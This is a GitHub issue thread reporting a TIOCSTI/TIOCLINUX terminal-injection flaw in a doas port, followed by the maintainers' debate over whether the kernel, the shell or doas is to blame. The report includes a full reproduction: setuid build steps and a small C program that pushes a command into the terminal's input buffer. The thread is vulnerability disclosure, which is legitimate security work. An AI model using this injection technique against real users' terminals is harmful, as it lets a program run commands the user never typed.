slicer69 / doas

A port of OpenBSD's doas which runs on FreeBSD, Linux, NetBSD, and illumos
BSD 2-Clause "Simplified" License
770 stars 53 forks source link

[Git master] Vulnerable to privilege escalation using ioctls `TIOCSTI` and `TIOCLINUX` #110

Open hartwork opened 1 year ago

hartwork commented 1 year ago

Hi!

I believe that doas is vulnerabily to privilege escalation using ioctls TIOCSTI and TIOCLINUX. Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://github.com/slicer69/doas
$ cd doas/
$ git rev-parse HEAD  # d9f415c740d7443fbf060c9f7e7ca838981c76a4
$ make PREFIX=/usr SYSCONFDIR=/etc
$ sudo tee -a /etc/doas.conf <<<"permit nopass ${USER} as nobody  # added by ${USER} on $(date -I)"
$ sudo chown root:root ./doas
$ sudo chmod u+s ./doas
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./doas -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER}/${DOAS_USER} rather than nobody

Please note that:

Best, Sebastian

slicer69 commented 1 year ago

This is an interesting issue because the behaviour is unexpected, so presumably qualifies as a bug. However, the weird behaviour isn't caused by doas.

What's happening is the application doas is running is malicious and is making use of a system quirk which lets it write to the stdin stream. This means doas runs the application, the application writes to stdin, and then when the application exits, the shell reads whatever is next in stdin. If it's a command followed by a newline, then the shell treats the characters in stdin as a command and executes it.

This is good news and bad news. On the one hand, it means the malicious program can only cause damage if it can trick the user into running it. Also, the malicious program can only launch its attack using this method as the user running it, not as the target user doas elevates to.

On the other hand, if we're tricked into launching a malicious program using doas then we've lost the battle anyway. There is not going to be a happy outcome from such a scenario.

This situation also raises some difficulties in terms of responsibility. The issue here is demonstrated using doas, but it'll work in any situation where the user runs the malicious application (on its own, with sudo, with su, etc). So doas isn't really helping or hurting the situation, it's just the program launching the target program.

This feels like it should be a bug which is addressed by the kernel (as with the OpenBSD fix) not allowing a program to insert data into stdin, or by the shell by not allowing buffered input to be left behind after an application exists. While some developers have demonstrated we can mitigate this issue in doas (by sandboxing the target application in some way), it doesn't address the two root causes (bad kernel behaviour and the user being tricked into running malicious software).

Finally, the silver lining here is this attack only runs the payload as the calling user, not the target user. Which usually means it's run as a regular user, not root. Unless, for some reason, root decides to run an untrusted application through doas to lower its access. This should be very rare (both because root shouldn't be running untrusted programs AND because the admin shouldn't be running things from root, rather using a lower-level account to begin with).

There are some ways doas can help avoid this situations, basically sandboxing or passing information in/out of the target program. I'm considering some of the options. However, given how many things need to go wrong to get to a point where this is an issue and how the ultimate fix should probably be at the kernel/shell level, I'm going to hold off and see how other similar projects end up addressing this in the long term.

hartwork commented 1 year ago

Hello Jesse,

I'm not super comfortable with replying to this in public, but it seems to be important so I will try:

Best, Sebastian

jdebp commented 1 year ago

This is not a doas bug. TIOCSTI is a kernel problem.

hartwork commented 1 year ago

@jdebp no it's not. A process with different privileges should not be granted permissions to the controlling terminal in the first place.